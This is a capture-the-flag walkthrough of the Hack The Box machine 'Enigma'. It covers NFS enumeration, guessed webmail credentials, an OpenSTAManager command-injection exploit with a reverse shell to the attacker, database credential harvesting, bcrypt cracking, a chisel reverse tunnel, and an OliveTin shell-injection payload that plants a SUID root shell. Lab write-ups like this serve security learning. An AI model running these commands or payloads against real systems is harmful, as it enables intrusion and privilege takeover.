Overview

Enigma is a Linux machine on Hack The Box that chains NFS enumeration, an OpenSTAManager RCE (CVE-2025-69212), MySQL credential harvesting, and an OliveTin privilege escalation to reach root.

Recon

┌──(root㉿blackXploit)-[/home/kali/Downloads]
└─# nmap -sC -sV -p- -O -A --min-rate=10000 10.129.239.191

Notable open ports:

22/tcp    open ssh       OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp    open http      nginx 1.24.0
110/tcp   open pop3      Dovecot pop3d
143/tcp   open imap      Dovecot imapd
993/tcp   open ssl/imap  Dovecot imapd
995/tcp   open ssl/pop3  Dovecot pop3d
2049/tcp  open nfs       3-4 (RPC #100003)

After adding enigma.htb to /etc/hosts I headed to http://enigma.htb/ and found nothing juicy. Directory/subdomain fuzzing also came up empty, so I pivoted to the NFS share.

NFS Mount + Onboarding PDF

showmount -e 10.129.239.191
Export list for 10.129.239.191:
/srv/nfs/onboarding *

Let’s create a mount point and mount it:

mkdir /mnt/nfs_onboarding
mount -t nfs 10.129.239.191:/srv/nfs/onboarding /mnt/nfs_onboarding

Checking the contents with nmap --script=nfs-ls,nfs-showmount,nfs-statfs revealed the volume was read-only and contained a single file:

rw-r--r-- 0 0 1751 2026-02-19T19:53:57 New_Employee_Access.pdf

Running exiftool on the PDF showed nothing juicy. The key line though was the fact that a Roundcube webmail was mentioned — this is what the PDF pointed to.

Roundcube Webmail — Sarah’s Account

After adding the webmail subdomain to /etc/hosts, it turned out to be Roundcube Webmail 1.6.16. I checked for any public exploits for that version:

searchsploit roundcube

Nothing worked for this version since it wasn’t vulnerable. But there was an email from sarah@enigma.htb:

Hi Kevin, welcome to the team! … We’re still finalizing a few of your onboarding details — you should be receiving your access credentials shortly via the company shared drive. — Sarah, Accounts Department

Let’s try logging into webmail as sarah, and with a bit of guesswork, it worked:

a LOGIN sarah Sarah2024!
a NO [AUTHENTICATIONFAILED] Authentication failed.
a LOGIN sarah Enigma2024!
a OK [CAPABILITY ...] Logged in

After logging into the sarah account I got access to some juicy stuff — an email with provisioned access details:

URL: http://support_001.enigma.htb
Username: admin
Password: REDACTED_ENIGMA_ADMIN_PASS

Add the subdomain to /etc/hosts and we’re in.

Foothold — OpenSTAManager RCE (CVE-2025-69212)

The exact version revealed a known issue: OS Command Injection via malicious .p7m files inside ZIP archives lets authenticated users execute arbitrary system commands (CVE-2025-69212). I used the public PoC:

┌──(root㉿blackXploit)-[/home/kali/Downloads/enigmahtb/CVE-2025-69212-PoC]
└─# python3 exploit.py -t http://support_001.enigma.htb/ \
     -u admin -p REDACTED_ENIGMA_ADMIN_PASS --reverse-shell 10.10.14.84 4444

[*] Authenticating as admin...
[+] Authenticated successfully.

[+] PLUGIN DETECTION
[*] Scanning for P7M vulnerable plugin...
[+] Found 2 candidate(s).
├─ Module ID: 14
├─ Plugin ID: 21
└─ Upload endpoint: save → http://support_001.enigma.htb/actions.php

[*] REVERSE SHELL
├─ Method: bash
└─ Target: 10.10.14.84:4444
[*] Delivering payload...

With nc -lvnp 4444 listening:

www-data@enigma:~/html/openstamanager$

DB Credentials Harvesting

Enumerating the webroot, config.inc.php had plaintext DB credentials:

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'REDACTED_DB_PASS';
$db_name = 'openstamanager';

MySQL Access → zz_users

Stabilize the shell first (python3 -c 'import pty;pty.spawn("/bin/bash")', Ctrl+Z, stty raw -echo; fg, export TERM=xterm), then:

mysql -u brollin -p'REDACTED_DB_PASS' -h 127.0.0.1 openstamanager

mysql> select * from zz_users;

+----+----------+----------------------+------------------+...
| id | username | password            | email            |...
+----+----------+----------------------+------------------+...
| 1  | admin    | $2y$10$rTJVUNyGGK...  | admin@enigma.htb |...
| 2  | haris    | REDACTED_HARIS_HASH  | haris@enigma.htb |...
+----+----------+----------------------+------------------+...

The second row (user haris) stood out. Since it’s a bcrypt hash, either hashcat or john works:

echo 'REDACTED_HARIS_HASH' > haris.hash
hashcat -m 3200 haris.hash /usr/share/wordlists/rockyou.txt --force

Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$WHf1T79sxjsZongUKT2jG...

The password cracked to REDACTED. Then:

www-data@enigma:~/html/openstamanager$ su haris
Password:
haris@enigma:~$ ls
mail  user.txt
haris@enigma:~$ cat user.txt
REDACTED_USER_FLAG

Got user.txt.

Privilege Escalation — OliveTin

Checking running processes:

ps -ef
root  1548  1 0 05:42 ?  00:00:00 /usr/local/bin/OliveTin

OliveTin is a lightweight, self-hosted web interface that gives users access to predefined shell commands. It was running as root. The config at /etc/OliveTin/config.yaml showed:

title: Backup Database
id: backup_database
shell: "mysqldump -u  -p''  > /opt/backups/backup.sql"
arguments:
  - name: db_user
    type: ascii_identifier
  - name: db_pass
    type: password
  - name: db_name
    type: ascii_identifier

Problems here:

  1. Direct Shell Execution — the shell field inserts user input directly into a shell command without validation.
  2. No Input Sanitization — even as password type, the value is inserted as-is.
  3. Guest Access Enabled — authRequireGuestsToLogin: false.

To interact with the local OliveTin UI I forwarded port 1337 with chisel:

# on attacker
./chisel server -p 8001 --reverse
# on target
./chisel client 10.10.14.84:8001 R:1338:127.0.0.1:1337 &

Then, in the OliveTin UI’s Backup Database action:

Field Value
db_user backup_svc
db_pass x' ; rm -f /tmp/.bs && cp /bin/bash /tmp/.bs && chmod 4755 /tmp/.bs ; #
db_name production

Executing it, then:

/tmp/.bs -p
.bs-5.2# id
uid=1000(haris) gid=1000(haris) euid=0(root) groups=1000(haris),100(users)
.bs-5.2# cat /root/root.txt
REDACTED_ROOT_FLAG

Why SUID (4755) is Dangerous

  • chmod 4755 sets the Set User ID (SUID) bit.
  • When a SUID file is executed, it runs with the file owner’s permissions. If the file is owned by root, it runs as root.
  • OliveTin ran as root (PID 1548), so the command executed as root, /tmp/.bs was created with root ownership, and running it gives an effective UID of root.

root.txt — REDACTED_ROOT_FLAG

We did it.

Full Writeup (PDF)

The complete walkthrough with commands, screenshots, and payloads is available below.

Download the full PDF writeup

Any questions or feedback? Feel free to reach out to me on discord. alt text